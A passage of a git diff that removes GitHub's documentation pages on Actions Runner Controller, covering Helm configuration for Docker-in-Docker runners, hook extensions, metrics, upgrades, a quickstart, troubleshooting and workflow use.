https://<HOSTNAME>/myorg -githubConfigUrl: "https://<HOSTNAME>/actions/actions-runner-controller" - -## githubConfigSecret is the k8s secrets to use when auth with GitHub API. -## You can choose to use GitHub App or a PAT token -githubConfigSecret: my-super-safe-secret - -## maxRunners is the max number of runners the autoscaling runner set will scale up to. -maxRunners: 5 - -## minRunners is the min number of idle runners. The target number of runners created will be -## calculated as a sum of minRunners and the number of jobs assigned to the scale set. -minRunners: 0 - -runnerGroup: "my-custom-runner-group" - -## name of the runner scale set to create. Defaults to the helm release name -runnerScaleSetName: "my-awesome-scale-set" - -## template is the PodSpec for each runner Pod -## For reference: https://kubernetes.io/docs/reference/kubernetes-api/workload-resources/pod-v1/#PodSpec -template: - spec: - initContainers: - - name: init-dind-externals - image: ghcr.io/actions/actions-runner:latest - command: ["cp", "-r", "/home/runner/externals/.", "/home/runner/tmpDir/"] - volumeMounts: - - name: dind-externals - mountPath: /home/runner/tmpDir - - name: init-dind-rootless - image: docker:dind-rootless - command: - - sh - - -c - - | - set -x - cp -a /etc/. /dind-etc/ - echo 'runner:x:1001:1001:runner:/home/runner:/bin/ash' >> /dind-etc/passwd - echo 'runner:x:1001:' >> /dind-etc/group - echo 'runner:100000:65536' >> /dind-etc/subgid - echo 'runner:100000:65536' >> /dind-etc/subuid - chmod 755 /dind-etc; - chmod u=rwx,g=rx+s,o=rx /dind-home - chown 1001:1001 /dind-home - securityContext: - runAsUser: 0 - volumeMounts: - - mountPath: /dind-etc - name: dind-etc - - mountPath: /dind-home - name: dind-home - containers: - - name: runner - image: ghcr.io/actions/actions-runner:latest - command: ["/home/runner/run.sh"] - env: - - name: DOCKER_HOST - value: unix:///run/user/1001/docker.sock - securityContext: - privileged: true - runAsUser: 1001 - runAsGroup: 1001 - volumeMounts: - - name: work - mountPath: /home/runner/_work - - name: dind-sock - mountPath: /run/user/1001 - - name: dind - image: docker:dind-rootless - args: - - dockerd - - --host=unix:///run/user/1001/docker.sock - securityContext: - privileged: true - runAsUser: 1001 - runAsGroup: 1001 - volumeMounts: - - name: work - mountPath: /home/runner/_work - - name: dind-sock - mountPath: /run/user/1001 - - name: dind-externals - mountPath: /home/runner/externals - - name: dind-etc - mountPath: /etc - - name: dind-home - mountPath: /home/runner - volumes: - - name: work - emptyDir: {} - - name: dind-externals - emptyDir: {} - - name: dind-sock - emptyDir: {} - - name: dind-etc - emptyDir: {} - - name: dind-home - emptyDir: {} -``` - -{% endif %} - -#### Understanding runner-container-hooks - -When the runner detects a workflow run that uses a container job, service container, or Docker action, it will call runner-container-hooks to create a new pod. The runner relies on runner-container-hooks to call the Kubernetes APIs and create a new pod in the same namespace as the runner pod. This newly created pod will be used to run the container job, service container, or Docker action. For more information, see the [`runner-container-hooks`](https://github.com/actions/runner-container-hooks) repository. - -#### Configuring hook extensions - -As of ARC version 0.4.0, runner-container-hooks support hook extensions. You can use these to configure the pod created by runner-container-hooks. For example, you could use a hook extension to set a security context on the pod. Hook extensions allow you to specify a YAML file that is used to update the [PodSpec](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.26/#podspec-v1-core) of the pod created by runner-container-hooks. - -There are two options to configure hook extensions. - -* Store in your **custom runner image**. You can store the PodSpec in a YAML file anywhere in your custom runner image. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/about-actions-runner-controller#creating-your-own-runner-image). -* Store in a **ConfigMap**. You can create a config map with the PodSpec and mount that config map in the runner container. For more information, see [ConfigMaps](https://kubernetes.io/docs/concepts/configuration/configmap/) in the Kubernetes documentation. - -> [!NOTE] -> With both options, you must set the `ACTIONS_RUNNER_CONTAINER_HOOK_TEMPLATE` environment variable in the runner container spec to point to the path of the YAML file mounted in the runner container. - -##### Example: Using config map to set securityContext - -Create a config map in the same namespace as the runner pods. For example: - -```yaml -apiVersion: v1 -kind: ConfigMap -metadata: - name: hook-extension - namespace: arc-runners -data: - content: | - metadata: - annotations: - example: "extension" - spec: - containers: - - name: "$job" # Target the job container - securityContext: - runAsUser: 1000 -``` - -* The `.metadata.labels` and `metadata.annotations` fields will be appended as is, unless their keys are reserved. You cannot override the `.metadata.name` and `metadata.namespace` fields. -* The majority of the PodSpec fields are applied from the specified template, and will override the values passed from your Helm chart `values.yaml` file. -* If you specify additional volumes they will be appended to the default volumes specified by the runner. -* The `spec.containers` are merged based on the names assigned to them. - * If the name of the container is `$job`: - * The `spec.containers.name` and `spec.containers.image` fields are ignored. - * The `spec.containers.env`, `spec.containers.volumeMounts`, and `spec.containers.ports` fields are appended to the default container spec created by the hook. - * The rest of the fields are applied as provided. - * If the name of the container is not `$job`, the fields will be added to the pod definition as they are. - -## Enabling metrics - -> [!NOTE] -> Metrics for ARC are available as of version gha-runner-scale-set-0.5.0. - -ARC can emit metrics about your runners, your jobs, and time spent on executing your workflows. Metrics can be used to identify congestion, monitor the health of your ARC deployment, visualize usage trends, optimize resource consumption, among many other use cases. Metrics are emitted by the controller-manager and listener pods in Prometheus format. For more information, see [Exposition formats](https://prometheus.io/docs/instrumenting/exposition_formats/) in the Prometheus documentation. - -To enable metrics for ARC, configure the `metrics` property in the [`values.yaml`](https://github.com/actions/actions-runner-controller/blob/master/charts/gha-runner-scale-set-controller/values.yaml) file of the `gha-runner-scale-set-controller` chart. - -The following is an example configuration. - -```yaml -metrics: - controllerManagerAddr: ":8080" - listenerAddr: ":8080" - listenerEndpoint: "/metrics" -``` - -> [!NOTE] -> If the `metrics:` object is not provided or is commented out, the following flags will be applied to the controller-manager and listener pods with empty values: `--metrics-addr`, `--listener-metrics-addr`, `--listener-metrics-endpoint`. This will disable metrics for ARC. - -Once these properties are configured, your controller-manager and listener pods emit metrics via the listenerEndpoint bound to the ports that you specify in your [`values.yaml`](https://github.com/actions/actions-runner-controller/blob/master/charts/gha-runner-scale-set-controller/values.yaml) file. In the above example, the endpoint is `/metrics` and the port is `:8080`. You can use this endpoint to scrape metrics from your controller-manager and listener pods. - -To turn off metrics, update your [`values.yaml`](https://github.com/actions/actions-runner-controller/blob/master/charts/gha-runner-scale-set-controller/values.yaml) file by removing or commenting out the `metrics:` object and its properties. - -### Available metrics for ARC - -The following table shows the metrics emitted by the controller-manager and listener pods. - -> [!NOTE] -> The metrics that the controller-manager emits pertain to the controller runtime and are not owned by {% data variables.product.company_short %}. - -| Owner | Metric | Type | Description | -| ------------------ | --------------------------------------------- | --------- | ----------------------------------------------------------------------------------------------------------- | -| controller-manager | gha_controller_pending_ephemeral_runners | gauge | Number of ephemeral runners in a pending state | -| controller-manager | gha_controller_running_ephemeral_runners | gauge | Number of ephemeral runners in a running state | -| controller-manager | gha_controller_failed_ephemeral_runners | gauge | Number of ephemeral runners in a failed state | -| controller-manager | gha_controller_running_listeners | gauge | Number of listeners in a running state | -| listener | gha_assigned_jobs | gauge | Number of jobs assigned to the runner scale set | -| listener | gha_running_jobs | gauge | Number of jobs running or queued to run | -| listener | gha_registered_runners | gauge | Number of runners registered by the runner scale set | -| listener | gha_busy_runners | gauge | Number of registered runners currently running a job | -| listener | gha_min_runners | gauge | Minimum number of runners configured for the runner scale set | -| listener | gha_max_runners | gauge | Maximum number of runners configured for the runner scale set | -| listener | gha_desired_runners | gauge | Number of runners desired (scale up / down target) by the runner scale set | -| listener | gha_idle_runners | gauge | Number of registered runners not running a job | -| listener | gha_started_jobs_total | counter | Total number of jobs started since the listener became ready [1] | -| listener | gha_completed_jobs_total | counter | Total number of jobs completed since the listener became ready [1] | -| listener | gha_job_startup_duration_seconds | histogram | Number of seconds spent waiting for workflow job to get started on the runner owned by the runner scale set | -| listener | gha_job_execution_duration_seconds | histogram | Number of seconds spent executing workflow jobs by the runner scale set | - -[1]: Listener metrics that have the counter type are reset when the listener pod restarts. - -{% ifversion ghes %} - -## Using ARC with {% data variables.product.prodname_dependabot %} and {% data variables.product.prodname_code_scanning %} - -You can use {% data variables.product.prodname_actions_runner_controller %} to create dedicated runners for your {% data variables.product.prodname_ghe_server %} instance that {% data variables.product.prodname_dependabot %} can use to help secure and maintain the dependencies used in repositories on your enterprise. For more information, see [AUTOTITLE](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/managing-self-hosted-runners-for-dependabot-updates#system-requirements-for-dependabot-runners). - -You can also use ARC with {% data variables.product.prodname_codeql %} to identify vulnerabilities and errors in your code. For more information, see [AUTOTITLE](/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning-with-codeql). If you're already using {% data variables.product.prodname_code_scanning %} and want to configure a runner scale set to use default setup, set `INSTALLATION_NAME=code-scanning`. For more information about {% data variables.product.prodname_code_scanning %} default setup, see [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning). - -{% data variables.product.prodname_actions_runner_controller %} does not use multiple labels to route jobs to specific runner scale sets. Instead, to designate a runner scale set for {% data variables.product.prodname_dependabot %} updates or {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}, use a descriptive installation name in your Helm chart, such as `dependabot` or `code-scanning`. You can then set the `runs-on` value in your workflows to the installation name as the single label, and use the designated runner scale set for {% data variables.product.prodname_dependabot %} updates or {% data variables.product.prodname_code_scanning %} jobs. - -If you're using default setup for {% data variables.product.prodname_code_scanning %}, the analysis will automatically look for a runner scale set with the installation name `code-scanning` {% ifversion code-scanning-default-setup-customize-labels %} but you can specify a custom name in the configuration, so that individual repositories can use different runner scale sets. See [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning#assigning-labels-to-runners){% endif %}. - -> [!NOTE] -> The [Dependabot Action](https://github.com/github/dependabot-action) is used to run {% data variables.product.prodname_dependabot %} updates via {% data variables.product.prodname_actions %}. This action requires Docker as a dependency. For this reason, you can only use {% data variables.product.prodname_actions_runner_controller %} with {% data variables.product.prodname_dependabot %} when Docker-in-Docker (DinD) mode is enabled. For more information, see [AUTOTITLE](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/managing-self-hosted-runners-for-dependabot-updates#system-requirements-for-dependabot-runners) and [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/deploying-runner-scale-sets-with-actions-runner-controller#using-docker-in-docker-or-kubernetes-mode-for-containers). - -{% endif %} - -## Upgrading ARC - -Because there is no support for upgrading or deleting CRDs with Helm, it is not possible to use Helm to upgrade ARC. For more information, see [Custom Resource Definitions](https://helm.sh/docs/chart_best_practices/custom_resource_definitions/#some-caveats-and-explanations) in the Helm documentation. To upgrade ARC to a newer version, you must complete the following steps. - -1. Uninstall all installations of `gha-runner-scale-set`. -1. Wait for resources cleanup. -1. Uninstall ARC. -1. If there is a change in CRDs from the version you currently have installed, to the upgraded version, remove all CRDs associated with `actions.github.com` API group. -1. Reinstall ARC again. - -For more information, see [Deploying a runner scale set](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/deploying-runner-scale-sets-with-actions-runner-controller#deploying-a-runner-scale-set). - -If you would like to upgrade ARC but are concerned about downtime, you can deploy ARC in a high availability configuration to ensure runners are always available. For more information, see [High availability and automatic failover](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/deploying-runner-scale-sets-with-actions-runner-controller#high-availability-and-automatic-failover). - -> [!NOTE] -> Transitioning from the [community supported version of ARC](https://github.com/actions/actions-runner-controller/discussions/2775) to the GitHub supported version is a substantial architectural change. The GitHub supported version involves a redesign of many components of ARC. It is not a minor software upgrade. For these reasons, we recommend testing the new versions in a staging environment that matches your production environment first. This will ensure stability and reliability of the setup before deploying in production. - -### Deploying a canary image - -You can test features before they are released by using canary releases of the controller-manager container image. Canary images are published with tag format `canary-SHORT_SHA`. For more information, see [`gha-runner-scale-set-controller`](https://github.com/actions/actions-runner-controller/pkgs/container/gha-runner-scale-set-controller) on the {% data variables.product.prodname_container_registry %}. - -> [!NOTE] -> * You must use Helm charts on your local file system. -> * You cannot use the released Helm charts. - -1. Update the `tag` in the [gha-runner-scale-set-controller `values.yaml`](https://github.com/actions/actions-runner-controller/blob/master/charts/gha-runner-scale-set-controller/values.yaml) file to: `canary-SHORT_SHA` -1. Update the field `appVersion` in the [`Chart.yaml`](https://github.com/actions/actions-runner-controller/blob/master/charts/gha-runner-scale-set/Chart.yaml) file for `gha-runner-scale-set` to: `canary-SHORT_SHA` -1. Re-install ARC using the updated Helm chart and `values.yaml` files. - -## High availability and automatic failover - -ARC can be deployed in a high availability (active-active) configuration. If you have two distinct Kubernetes clusters deployed in separate regions, you can deploy ARC in both clusters and configure runner scale sets to use the same `runnerScaleSetName`. In order to do this, each runner scale set must be assigned to a distinct runner group. For example, you can have two runner scale sets each named `arc-runner-set`, as long as one runner scale set belongs to `runner-group-A` and the other runner scale set belongs to `runner-group-B`. For information on assigning runner scale sets to runner groups, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners-using-groups). - -If both runner scale sets are online, jobs assigned to them will be distributed arbitrarily (assignment race). You cannot configure the job assignment algorithm. If one of the clusters goes down, the runner scale set in the other cluster will continue to acquire jobs normally without any intervention or configuration change. - -## Using ARC across organizations - -A single installation of {% data variables.product.prodname_actions_runner_controller %} allows you to configure one or more runner scale sets. These runner scale sets can be registered to a repository, organization, or enterprise. You can also use runner groups to control the permissions boundaries of these runner scale sets. - -As a best practice, create a unique namespace for each organization. You could also create a namespace for each runner group or each runner scale set. You can install as many runner scale sets as needed in each namespace. This will provide you the highest levels of isolation and improve your security. You can use {% data variables.product.prodname_github_apps %} for authentication and define granular permissions for each runner scale set. - -## Legal notice - -{% data reusables.actions.actions-runner-controller-legal-notice %} diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/index.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/index.md deleted file mode 100644 index d4d6dded78b9..000000000000 --- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Managing self-hosted runners with Actions Runner Controller -shortTitle: Actions Runner Controller -intro: You can host your own runners to run workflows in a highly customizable environment. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Actions Runner Controller -children: - - /about-actions-runner-controller - - /quickstart-for-actions-runner-controller - - /authenticating-to-the-github-api - - /deploying-runner-scale-sets-with-actions-runner-controller - - /using-actions-runner-controller-runners-in-a-workflow - - /troubleshooting-actions-runner-controller-errors - - /about-support-for-actions-runner-controller ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/quickstart-for-actions-runner-controller.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/quickstart-for-actions-runner-controller.md deleted file mode 100644 index 071888dd62a1..000000000000 --- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/quickstart-for-actions-runner-controller.md +++ /dev/null @@ -1,164 +0,0 @@ ---- -title: Quickstart for Actions Runner Controller -shortTitle: Quickstart -intro: 'Try out {% data variables.product.prodname_actions_runner_controller %} in 5 minutes.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: quick_start -topics: - - Actions Runner Controller -defaultPlatform: linux ---- - -[Legal notice](#legal-notice) - -## Introduction - -{% data reusables.actions.actions-runner-controller-about-arc %} - -You can set up ARC on Kubernetes using Helm, then create and run a workflow that uses runner scale sets. For more information about runner scale sets, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/deploying-runner-scale-sets-with-actions-runner-controller#runner-scale-set). - -## Prerequisites - -In order to use ARC, ensure you have the following. - -* A Kubernetes cluster - * For a managed cloud environment, you can use AKS. For more information, see [Azure Kubernetes Service](https://azure.microsoft.com/en-us/products/kubernetes-service) in the Azure documentation. - * For a local setup, you can use minikube or kind. For more information, see [minikube start](https://minikube.sigs.k8s.io/docs/start/) in the minikube documentation and [kind](https://kind.sigs.k8s.io/) in the kind documentation. - - > [!NOTE] - > OpenShift clusters are currently unsupported. - -* Helm 3 - * For more information, see [Installing Helm](https://helm.sh/docs/intro/install/) in the Helm documentation. -* While it is not required for ARC to be deployed, we recommend ensuring you have implemented a way to collect and retain logs from the controller, listeners, and ephemeral runners before deploying ARC in production workflows. - -## Installing Actions Runner Controller - -1. To install the operator and the custom resource definitions (CRDs) in your cluster, do the following. - 1. In your Helm chart, update the `NAMESPACE` value to the location you want your operator pods to be created. This namespace must allow access to the Kubernetes API server. - 1. Install the Helm chart. - - The following example installs the latest version of the chart. To install a specific version, you can pass the `--version` argument along with the version of the chart you wish to install. You can find the list of releases in the [GitHub Container Registry](https://github.com/actions/actions-runner-controller/pkgs/container/actions-runner-controller-charts%2Fgha-runner-scale-set-controller). - - ```bash copy - NAMESPACE="arc-systems" - helm install arc \ - --namespace "{% raw %}${NAMESPACE}{% endraw %}" \ - --create-namespace \ - oci://ghcr.io/actions/actions-runner-controller-charts/gha-runner-scale-set-controller - ``` - - For additional Helm configuration options, see [`values.yaml`](https://github.com/actions/actions-runner-controller/blob/master/charts/gha-runner-scale-set-controller/values.yaml) in the ARC documentation. - -1. To enable ARC to authenticate to {% data variables.product.company_short %}, generate a {% data variables.product.pat_v1 %}. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/authenticating-to-the-github-api#deploying-using-personal-access-token-classic-authentication). - -## Configuring a runner scale set - -1. To configure your runner scale set, run the following command in your terminal, using values from your ARC configuration. - - When you run the command, keep the following in mind. - - * Update the `INSTALLATION_NAME` value carefully. You will use the installation name as the value of `runs-on` in your workflows. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idruns-on). - * Update the `NAMESPACE` value to the location you want the runner pods to be created. - * Set `GITHUB_CONFIG_URL` to the URL of your repository, organization, or enterprise. This is the entity that the runners will belong to. - * This example command installs the latest version of the Helm chart. To install a specific version, you can pass the `--version` argument with the version of the chart you wish to install. You can find the list of releases in the [GitHub Container Registry](https://github.com/actions/actions-runner-controller/pkgs/container/actions-runner-controller-charts%2Fgha-runner-scale-set). - - > [!NOTE] - > * {% data reusables.actions.actions-runner-controller-security-practices-namespace %} - > * {% data reusables.actions.actions-runner-controller-security-practices-secret %} For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/deploying-runner-scale-sets-with-actions-runner-controller). - - ```bash copy - INSTALLATION_NAME="arc-runner-set" - NAMESPACE="arc-runners" - GITHUB_CONFIG_URL="https://github.com/<your_enterprise/org/repo>" - GITHUB_PAT="<PAT>" - helm install "{% raw %}${INSTALLATION_NAME}{% endraw %}" \ - --namespace "{% raw %}${NAMESPACE}{% endraw %}" \ - --create-namespace \ - --set githubConfigUrl="{% raw %}${GITHUB_CONFIG_URL}{% endraw %}" \ - --set githubConfigSecret.github_token="{% raw %}${GITHUB_PAT}{% endraw %}" \ - oci://ghcr.io/actions/actions-runner-controller-charts/gha-runner-scale-set - ``` - - For additional Helm configuration options, see [`values.yaml`](https://github.com/actions/actions-runner-controller/blob/master/charts/gha-runner-scale-set/values.yaml) in the ARC documentation. - -1. From your terminal, run the following command to check your installation. - - ```bash copy - helm list -A - ``` - - You should see an output similar to the following. - - ```bash - NAME NAMESPACE REVISION UPDATED STATUS CHART APP VERSION - arc arc-systems 1 2023-04-12 11:45:59.152090536 +0000 UTC deployed gha-runner-scale-set-controller-0.4.0 0.4.0 - arc-runner-set arc-runners 1 2023-04-12 11:46:13.451041354 +0000 UTC deployed gha-runner-scale-set-0.4.0 0.4.0 - ``` - -1. To check the manager pod, run the following command in your terminal. - - ```bash copy - kubectl get pods -n arc-systems - ``` - - If everything was installed successfully, the status of the pods shows as **Running**. - - ```bash - NAME READY STATUS RESTARTS AGE - arc-gha-runner-scale-set-controller-594cdc976f-m7cjs 1/1 Running 0 64s - arc-runner-set-754b578d-listener 1/1 Running 0 12s - ``` - -If your installation was not successful, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/troubleshooting-actions-runner-controller-errors) for troubleshooting information. - -## Using runner scale sets - -Now you will create and run a simple test workflow that uses the runner scale set runners. - -1. In a repository, create a workflow similar to the following example. The `runs-on` value should match the Helm installation name you used when you installed the autoscaling runner set. - - For more information on adding workflows to a repository, see [AUTOTITLE](/actions/quickstart#creating-your-first-workflow). - - ```yaml copy - name: Actions Runner Controller Demo - on: - workflow_dispatch: - - jobs: - Explore-GitHub-Actions: - # You need to use the INSTALLATION_NAME from the previous step - runs-on: arc-runner-set - steps: - - run: echo "🎉 This job uses runner scale set runners!" - ``` - -1. Once you've added the workflow to your repository, manually trigger the workflow. For more information, see [AUTOTITLE](/actions/managing-workflow-runs/manually-running-a-workflow). - -1. To view the runner pods being created while the workflow is running, run the following command from your terminal. - - ```bash copy - kubectl get pods -n arc-runners - ``` - - A successful output will look similar to the following. - - ```bash - NAMESPACE NAME READY STATUS RESTARTS AGE - arc-runners arc-runner-set-rmrgw-runner-p9p5n 1/1 Running 0 21s - ``` - -## Next steps - -{% data variables.product.prodname_actions_runner_controller %} can help you efficiently manage your {% data variables.product.prodname_actions %} runners. Ready to get started? Here are some helpful resources for taking your next steps with ARC: - -* For detailed authentication information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/authenticating-to-the-github-api). -* For help using ARC runners in your workflows, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/using-actions-runner-controller-runners-in-a-workflow). -* For deployment information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/deploying-runner-scale-sets-with-actions-runner-controller). - -## Legal notice - -{% data reusables.actions.actions-runner-controller-legal-notice %} diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/troubleshooting-actions-runner-controller-errors.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/troubleshooting-actions-runner-controller-errors.md deleted file mode 100644 index 602819feecf8..000000000000 --- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/troubleshooting-actions-runner-controller-errors.md +++ /dev/null @@ -1,155 +0,0 @@ ---- -title: Troubleshooting Actions Runner Controller errors -shortTitle: Troubleshoot -intro: 'Learn how to troubleshoot {% data variables.product.prodname_actions_runner_controller %} errors.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: how_to -topics: - - Actions Runner Controller ---- - -[Legal notice](#legal-notice) - -## Logging - -The {% data variables.product.prodname_actions_runner_controller %} (ARC) resources, which include the controller, listener, and runners, write logs to standard output (`stdout`). We recommend you implement a logging solution to collect and store these logs. Having logs available can help you or GitHub support with troubleshooting and debugging. For more information, see [Logging Architecture](https://kubernetes.io/docs/concepts/cluster-administration/logging/) in the Kubernetes documentation. - -## Resources labels - -Labels are added to the resources created by {% data variables.product.prodname_actions_runner_controller %}, which include the controller, listener, and runner pods. You can use these labels to filter resources and to help with troubleshooting. - -### Controller pod - -The following labels are applied to the controller pod. - -```yaml -app.kubernetes.io/component=controller-manager -app.kubernetes.io/instance=<controller installation name> -app.kubernetes.io/name=gha-runner-scale-set-controller -app.kubernetes.io/part-of=gha-runner-scale-set-controller -app.kubernetes.io/version=<chart version> -``` - -### Listener pod - -The following labels are applied to listener pods. - -```yaml -actions.github.com/enterprise= # Will be populated if githubConfigUrl is an enterprise URL -actions.github.com/organization= # Will be populated if githubConfigUrl is an organization URL -actions.github.com/repository= # Will be populated if githubConfigUrl is a repository URL -actions.github.com/scale-set-name= # Runners scale set name -actions.github.com/scale-set-namespace= # Runners namespace -app.kubernetes.io/component=runner-scale-set-listener -app.kubernetes.io/part-of=gha-runner-scale-set -app.kubernetes.io/version= # Chart version -``` - -### Runner pod - -The following labels are applied to runner pods. - -```yaml -actions-ephemeral-runner= # True | False -actions.github.com/organization= # Will be populated if githubConfigUrl is an organization URL -actions.github.com/scale-set-name= # Runners scale set name -actions.github.com/scale-set-namespace= # Runners namespace -app.kubernetes.io/component=runner -app.kubernetes.io/part-of=gha-runner-scale-set -app.kubernetes.io/version= # Chart version -``` - -## Checking the logs of the controller and runner set listener - -To check the logs of the controller pod, you can use the following command. - -```bash copy -kubectl logs -n <CONTROLLER_NAMESPACE> -l app.kubernetes.io/name=gha-runner-scale-set-controller -``` - -To check the logs of the runner set listener, you can use the following command. - -```bash copy -kubectl logs -n <CONTROLLER_NAMESPACE> -l auto-scaling-runner-set-namespace=arc-systems -l auto-scaling-runner-set-name=arc-runner-set -``` - -## Using the charts from the `master` branch - -We recommend you use the charts from the latest release instead of the `master` branch. The `master` branch is highly unstable, and we cannot guarantee that the charts in the `master` branch will work at any given time. - -## Troubleshooting the listener pod - -If the controller pod is running, but the listener pod is not, inspect the logs of the controller first and see if there are any errors. If there are no errors and the runner set listener pod is still not running, ensure the controller pod has access to the Kubernetes API server in your cluster. - -If you have a proxy configured or you're using a sidecar proxy that's automatically injected, such as [Istio](https://istio.io/), ensure it's configured to allow traffic from the controller container (manager) to the Kubernetes API server. - -If you have installed the autoscaling runner set, but the listener pod is not created, verify that the `githubConfigSecret` you provided is correct and that the `githubConfigUrl` you provided is accurate. See [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/authenticating-to-the-github-api) and [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/deploying-runner-scale-sets-with-actions-runner-controller) for more information. - -## Runner pods are recreated after a canceled workflow run - -Once a workflow run is canceled, the following events happen. - -* The cancellation signal is sent to the runners directly. -* The runner application terminates, which also terminates the runner pods. -* On the next poll, the cancellation signal is received by the listener. - -There might be a slight delay between when the runners receive the signal and when the listener receives the signal. When runner pods start terminating, the listener tries to bring up new runners to match the desired number of runners according to the state it's in. However, when the listener receives the cancellation signal, it will act to reduce the number of runners. Eventually the listener will scale back down to the desired number of runners. In the meantime, you may see extra runners. - -## Error: `Name must have up to n characters` - -ARC uses the generated names of certain resources as labels for other resources. Because of this requirement, ARC limits resource names to 63 characters. - -Because part of the resource name is defined by you, ARC imposes a limit on the number of characters you can use for the installation name and namespace. - -```bash -Error: INSTALLATION FAILED: execution error at (gha-runner-scale-set/templates/autoscalingrunnerset.yaml:5:5): Name must have up to 45 characters - -Error: INSTALLATION FAILED: execution error at (gha-runner-scale-set/templates/autoscalingrunnerset.yaml:8:5): Namespace must have up to 63 characters -``` - -## Error: `Access to the path /home/runner/_work/_tool is denied` - -You may see this error if you're using Kubernetes mode with persistent volumes. This error occurs if the runner container is running with a non-root user and is causing a permissions mismatch with the mounted volume. - -To fix this, you can do one of the following things. - -* Use a volume type that supports `securityContext.fsGroup`. `hostPath` volumes do not support this property, whereas `local` volumes and other types of volumes do support it. Update the `fsGroup` of your runner pod to match the GID of the runner. You can do this by updating the `gha-runner-scale-set` helm chart values to include the following. Replace `VERSION` with the version of the `actions-runner` container image you want to use. - - ```yaml copy - spec: - securityContext: - fsGroup: 123 - containers: - - name: runner - image: ghcr.io/actions/actions-runner:latest - command: ["/home/runner/run.sh"] - ``` - -* If updating the `securityContext` of your runner pod is not a viable solution, you can work around the issue by using `initContainers` to change the mounted volume's ownership, as follows. - - ```yaml copy - template: - spec: - initContainers: - - name: kube-init - image: ghcr.io/actions/actions-runner:latest - command: ["sudo", "chown", "-R", "1001:123", "/home/runner/_work"] - volumeMounts: - - name: work - mountPath: /home/runner/_work - containers: - - name: runner - image: ghcr.io/actions/actions-runner:latest - command: ["/home/runner/run.sh"] - ``` - -## Error: `failed to get access token for {% data variables.product.prodname_github_app %} auth: 401 Unauthorized` - -A `401 Unauthorized` error when attempting to obtain an access token for a {% data variables.product.prodname_github_app %} could be a result of a Network Time Protocol (NTP) drift. Ensure that your Kubernetes system is accurately syncing with an NTP server and that there isn't a significant time drift. There is more leeway if your system time is behind {% data variables.product.github %}'s time, but if the environment is more than a few seconds ahead, 401 errors will occur when using {% data variables.product.prodname_github_app %}. - -## Legal notice - -{% data reusables.actions.actions-runner-controller-legal-notice %} diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/using-actions-runner-controller-runners-in-a-workflow.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/using-actions-runner-controller-runners-in-a-workflow.md deleted file mode 100644 index 4ce3d132a3fa..000000000000 --- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/using-actions-runner-controller-runners-in-a-workflow.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Using Actions Runner Controller runners in a workflow -shortTitle: Using ARC in a workflow -intro: 'You can use {% data variables.product.prodname_actions_runner_controller %} runners in a workflow file.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: overview -topics: - - Actions Runner Controller -defaultPlatform: linux ---- - -[Legal notice](#legal-notice) - -## About using ARC runners in a workflow file - -To assign jobs to run on a runner scale set, you can specify the name of the scale set as the value for the `runs-on` key in your {% data variables.product.prodname_actions %} workflow file. - -For example, the following configuration for a runner scale set has the `INSTALLATION_NAME` value set to `arc-runner-set`. - -```bash -# Using a {% data variables.product.pat_generic_title_case %} (PAT) -INSTALLATION_NAME="arc-runner-set" -NAMESPACE="arc-runners" -GITHUB_CONFIG_URL="https://github.com/<your_enterprise/org/repo>" -GITHUB_PAT="<PAT>" -helm install "${INSTALLATION_NAME}" \ - --namespace "${NAMESPACE}" \ - --create-namespace \ - --set githubConfigUrl="${GITHUB_CONFIG_URL}" \ - --set githubConfigSecret.github_token="${GITHUB_PAT}" \ - 